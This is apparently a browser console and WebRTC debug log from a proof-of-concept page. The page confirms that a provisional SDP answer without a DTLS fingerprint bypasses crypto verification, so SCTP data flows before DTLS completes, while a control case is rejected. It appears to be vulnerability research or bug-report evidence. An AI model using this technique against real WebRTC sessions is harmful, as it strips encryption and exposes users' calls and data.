[278:278:0420/133538.138576:INFO:CONSOLE:8] "[*] Starting POC: kPrAnswer BUNDLE-view desync -> dtls_active_=false", source: http://127.0.0.1:8765/poc.html (8) [278:278:0420/133538.245093:INFO:CONSOLE:8] "[*] victim offer mids = ["0","1"]", source: http://127.0.0.1:8765/poc.html (8) [278:278:0420/133538.246886:INFO:CONSOLE:8] "[*] victim offer has BUNDLE: a=group:BUNDLE 0 1", source: http://127.0.0.1:8765/poc.html (8) [352:374:0420/133538.271448:INFO:third_party/webrtc/p2p/dtls/dtls_transport.cc:599] DtlsTransport[1|1|__]: DTLS setup complete, dtls_in_stun: 0 [278:278:0420/133538.294713:INFO:CONSOLE:8] "[*] attacker answer has BUNDLE: (none)", source: http://127.0.0.1:8765/poc.html (8) [278:278:0420/133538.298059:INFO:CONSOLE:8] "[*] malicious pranswer mid1 fingerprint: (none)", source: http://127.0.0.1:8765/poc.html (8) [278:278:0420/133538.299736:INFO:CONSOLE:8] "[*] malicious pranswer mid1 ice-ufrag: a=ice-ufrag:tsxT", source: http://127.0.0.1:8765/poc.html (8) [352:374:0420/133538.299913:INFO:third_party/webrtc/p2p/dtls/dtls_transport.cc:444] DtlsTransport[1|1|__]: Other side didn't support DTLS. [278:278:0420/133538.328232:INFO:CONSOLE:8] "[+] BUG CONFIRMED: setRemoteDescription(pranswer w/o fingerprint on mid1) SUCCEEDED", source: http://127.0.0.1:8765/poc.html (8) [278:278:0420/133538.330833:INFO:CONSOLE:8] " -> VerifyCrypto bypassed; T1.dtls_active_ now false", source: http://127.0.0.1:8765/poc.html (8) [278:278:0420/133538.333046:INFO:CONSOLE:8] " -> watch stderr for: "Other side didn't support DTLS." on DtlsTransport[1]", source: http://127.0.0.1:8765/poc.html (8) [278:278:0420/133538.362612:INFO:CONSOLE:8] "[*] pc1 iceConnectionState = checking", source: http://127.0.0.1:8765/poc.html (8) [352:374:0420/133538.378902:VERBOSE1:third_party/webrtc/p2p/dtls/dtls_transport.cc:878] DtlsTransport[1|1|__]: ice_transport receiving state changed to 1 [352:374:0420/133538.382499:VERBOSE1:third_party/webrtc/p2p/dtls/dtls_transport.cc:878] DtlsTransport[1|1|__]: ice_transport receiving state changed to 1 [352:374:0420/133538.415553:INFO:third_party/webrtc/p2p/dtls/dtls_transport.cc:814] DtlsTransport[1|1|__]: ice_transport writable state changed to 1 dtls_state: kNew [352:374:0420/133538.415722:INFO:third_party/webrtc/p2p/dtls/dtls_transport.cc:1217] DtlsTransport[1|1|__]: configuring DTLS handshake timeout 50ms based on ICE RTT 18 [352:374:0420/133538.415885:INFO:third_party/webrtc/p2p/dtls/dtls_transport.cc:1067] DtlsTransport[1|1|__]: DtlsTransportInternalImpl: Start DTLS handshake active=1 role=client [352:374:0420/133538.417414:VERBOSE1:third_party/webrtc/p2p/dtls/dtls_transport.cc:1153] DtlsTransport[1|1|__]: set_dtls_state from:0 to 1 [352:374:0420/133538.420800:INFO:third_party/webrtc/p2p/dtls/dtls_transport.cc:814] DtlsTransport[1|1|R_]: ice_transport writable state changed to 1 dtls_state: kNew [352:374:0420/133538.420970:VERBOSE1:third_party/webrtc/p2p/dtls/dtls_transport.cc:1140] DtlsTransport[1|1|R_]: set_writable to: 1 O 00:00:51.516 0000 13 88 13 88 00 00 00 00 88 28 68 90 01 00 00 1e 5d 87 34 31 00 50 00 00 04 00 ff ff 43 00 cf 3f c0 00 00 04 80 08 00 06 82 c0 00 00 # SCTP_PACKET DcSctpTransport1 [278:278:0420/133538.424209:INFO:CONSOLE:8] "[*] pc1 iceConnectionState = connected", source: http://127.0.0.1:8765/poc.html (8) [352:374:0420/133538.433930:ERROR:third_party/webrtc/p2p/dtls/dtls_transport.cc:943] DtlsTransport[1|1|__]: Received non-DTLS packet before DTLS complete. [352:374:0420/133538.439895:VERBOSE1:third_party/webrtc/p2p/dtls/dtls_transport.cc:1140] DtlsTransport[0|1|__]: set_writable to: 1 [352:374:0420/133538.459661:VERBOSE1:third_party/webrtc/p2p/dtls/dtls_transport.cc:1140] DtlsTransport[0|1|__]: set_writable to: 1 O 00:00:52.532 0000 13 88 13 88 00 00 00 00 88 28 68 90 01 00 00 1e 5d 87 34 31 00 50 00 00 04 00 ff ff 43 00 cf 3f c0 00 00 04 80 08 00 06 82 c0 00 00 # SCTP_PACKET DcSctpTransport1 [352:374:0420/133539.438711:ERROR:third_party/webrtc/p2p/dtls/dtls_transport.cc:943] DtlsTransport[1|1|__]: Received non-DTLS packet before DTLS complete. O 00:00:54.547 0000 13 88 13 88 00 00 00 00 88 28 68 90 01 00 00 1e 5d 87 34 31 00 50 00 00 04 00 ff ff 43 00 cf 3f c0 00 00 04 80 08 00 06 82 c0 00 00 # SCTP_PACKET DcSctpTransport1 [352:374:0420/133541.454063:ERROR:third_party/webrtc/p2p/dtls/dtls_transport.cc:943] DtlsTransport[1|1|__]: Received non-DTLS packet before DTLS complete. O 00:00:58.563 0000 13 88 13 88 00 00 00 00 88 28 68 90 01 00 00 1e 5d 87 34 31 00 50 00 00 04 00 ff ff 43 00 cf 3f c0 00 00 04 80 08 00 06 82 c0 00 00 # SCTP_PACKET DcSctpTransport1 [352:374:0420/133545.470106:ERROR:third_party/webrtc/p2p/dtls/dtls_transport.cc:943] DtlsTransport[1|1|__]: Received non-DTLS packet before DTLS complete. [278:278:0420/133546.380340:INFO:CONSOLE:8] "[+] control: pranswer w/o BUNDLE & w/o fingerprint correctly REJECTED: Failed to execute 'setRemoteDescription' on 'RTCPeerConnection': Failed to set remote pranswer sdp: Called with SDP without DTLS fingerprint.", source: http://127.0.0.1:8765/poc.html (8) [278:278:0420/133546.382436:INFO:CONSOLE:8] "[*] done", source: http://127.0.0.1:8765/poc.html (8) O 00:00:06.579 0000 13 88 13 88 00 00 00 00 88 28 68 90 01 00 00 1e 5d 87 34 31 00 50 00 00 04 00 ff ff 43 00 cf 3f c0 00 00 04 80 08 00 06 82 c0 00 00 # SCTP_PACKET DcSctpTransport1 [352:374:0420/133553.485679:ERROR:third_party/webrtc/p2p/dtls/dtls_transport.cc:943] DtlsTransport[1|1|__]: Received non-DTLS packet before DTLS complete.